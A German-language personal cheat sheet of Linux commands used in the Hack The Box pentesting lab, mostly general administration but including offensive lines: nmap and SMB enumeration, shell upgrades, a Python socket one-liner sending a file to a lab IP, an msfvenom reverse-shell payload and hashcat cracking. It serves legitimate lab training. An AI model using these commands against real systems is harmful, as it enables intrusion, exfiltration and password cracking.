Linux Cheat Sheet (HTB)
WIP – Cheat Sheet für Befehle welche ich u.a. im PenTesting Lab Hack the Box immer wieder brauche
Allgemein
Dateien und Berechtigungen als Liste anzeigen (inkl. versteckter Dateien) und mit lesbarer Größe (-h)
ls -al ls -hal
Suchen
Alle Dateien aufliste (rekursiv)
find . -type f
Nach einem Wort in Dateien suchen (rekursiv), beginnt mit „pattern“
grep -rniw '/path/to/somewhere/' -e 'pattern.*'
Nach Dateinamen suchen (rekursiv) und dabei auch Verlinkungen folgen (-follow)
find . -iname "*.mov" -follow
String suchen in Binärdateien
strings App_Data/Umbraco.sdf | grep -i 'admin'
Prozesse und Pakete
Laufende Prozesse anzeigen
ps -aux
Installierte (Packet) Version anzeigen
dpkg-query --search <pathCommand> dpkg -s <packagename>
Schleifen
Bash Schleife um Zeilen zu lesen
for $line read; do echo $line; done < datei.txt while read line; do echo $line; done < datei.txt
Berechtigungen
Datei ausführbar machen
chmod +x <file>
VI
http://support.moonpoint.com/software/editors/vi/remove-lines-string.php
Suchen
/
Alles löschen bis zum vorkommen (rock you)
d/rock you
Ganze Zeile löschen
dd
Alles löschen mit dem vorkommen (dog)
:g/dog/d
alle Zeilen welche mit einem Punkt oder zwei Punkten anfangen löschen und Leerzeilen löschen
:g/^\ \.\| \.\./d :g/^$/d
Einfügen Mode
:set paste :set nopaste
Rückgängig
u
Sudo
Pfade zur sudoers Dateien
/etc/sudoes /etc/sudoers.d/
Berechtigungen (Befehle) prüfen
sudo -l
per sudo in eine Datei schreiben
echo 'deb blah ... blah' | sudo tee -a /etc/apt/sources.list
Krypto, HEX etc.
Base 64 codieren und decodieren
echo -n "hello" | base64
echo -n "hello" | base64 -d
MD5 Hash erzeugen
echo -n Welcome | md5sum
String in Hex umwandeln
echo -n "HELP" | od -A n -t x1
Zeichen zählen / Wörter zählen
echo hello | wc -w echo hello | wc -c
Netzwerk Allgemein
Ping back prüfen
sudo tcpdump -i tun0 icmp
Lokale offene Ports anzeigen
sudo lsof -i -P -n | grep LISTEN sudo netstat -tulpn | grep LISTEN sudo lsof -i: sudo nmap -sTU -O IP-address-Here
Nach gängigen offenen Ports scannen, sowie Dienst und Version herausfinden und in der Datei defaultPorts.nmap speichern.
nmap -sV -sC -oA defaultPorts.nmap 10.10.10.1
Nach allen offenen Ports scannen
nmap -p- -oA allPorts.nmap 10.10.10.1
Erst nach Ports suchen und dann gegen die offenen Ports Scripte laufen lassen
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports 10.10.10.27
TCP Dateiübertragung
nc -lvnp 4000 > line.out nc -w 3 [destination] 1234 < out.file
https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/
SMB Befehle
SMB Verzeichnisse auflisten mit login und anonym (-N)
smbclient -L 192.167.1.1 smbclient -N -L 192.167.1.1
Auf SMB Share Zugreifen
smbclient \\\\192.168.1.1\Share
Schreibzugriff auf SMB Verzeichnis prüfen (für anonymous login -u ‚ ‚)
smbmap -H 192.168.1.1 Smbmap -u user -H 192.168.1.1
SMB Server erstellen
sudo smbserver.py -ip 192.168.178.41 -port 4000 -debug -smb2support shareName <path>
MSSQL
MSSQL Client connect
mssqlclient.py ARCHETYPE\sql_svc@10.10.10.27 -windows-auth
Shells
Upgrade zu TTY Session
python3 -c 'import pty; pty.spawn("/bin/bash")'
Mit STRG+Z
in den Hintergrund setzten
stty raw -echo;fg reset
Wenn nach dem Terminal gefragt wird
xterm-256color
Farben, Größe + reset
export TERM=xterm-256color;stty rows 54 columns 210;exec /bin/bash
Größe manuell setzten
lokal: stty size
remote: stty rows 54 columns 210
Web und HTTP
Python Webserver erstellen
python3 -m http.server 8080 --bind 10.10.14.120
Webserver Verzeichnisse mit GoBuster scannen
gobuster dir -u http://10.10.10.171 -o hb_openadmin/gobuster-root.out -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Run Burp Suite with root privs.
xhost +
sudo java -jar -Xmx4g /opt/BurpSuiteCommunity/burpsuite_community.jar
File Transfers
send file via python
sender
python3 -c 'import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.124",9002));
inputFile=open("base64.lin", "r").read();s.sendall(inputFile.encode("utf-8"));s.close();'
receiver
nc -lvnp 9002 > base64.lin
Meter Sploit
MSFConsole starten inkl. Datenbank, falls diese noch nicht läuft
mfsdb run
Modul suchen und laden
search <name> use <Pfad>
Listener
use exploit/multi/handler
Payload erzeugen
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe -o payload.exe
Services
Services anzeigen, starten, stoppen + status
systemctl --type=service
systemctl start [servicename]
systemctl stop [servicename]
systemctl status [servicename]
Service erstellen
vi /etc/init.d/[servicename]
chmod 755 [servicename]
systemctl daemon-reload
In Autostart aufnehmen, prüfen ob vorhanden + entfernen
update-rc.d [service_name] defaults
ls /etc/rc*.d
update-rc.d -f [service_name] remove
Service entfernen
systemctl stop [servicename]
systemctl disable [servicename]
rm /etc/systemd/system/[servicename]
rm /etc/systemd/system/[servicename] # and symlinks that might be related
rm /usr/lib/systemd/system/[servicename]
rm /usr/lib/systemd/system/[servicename] # and symlinks that might be related
rm /etc/init.d/[servicename]
rm /lib/systemd/system/[servicename]
rm /etc/systemd/system/multi-user.target.wants/[servicename]
systemctl reset-failed
systemctl daemon-reload
Cracking
Hascat
.\hashcat64.exe -m 500 -w 3 hash.txt .\rockyou.txt --outfile final.txt
Nach Hash suchen (Windows)
.\hashcat64.exe --example | Select-String -Patter "md5cryp" -Context 2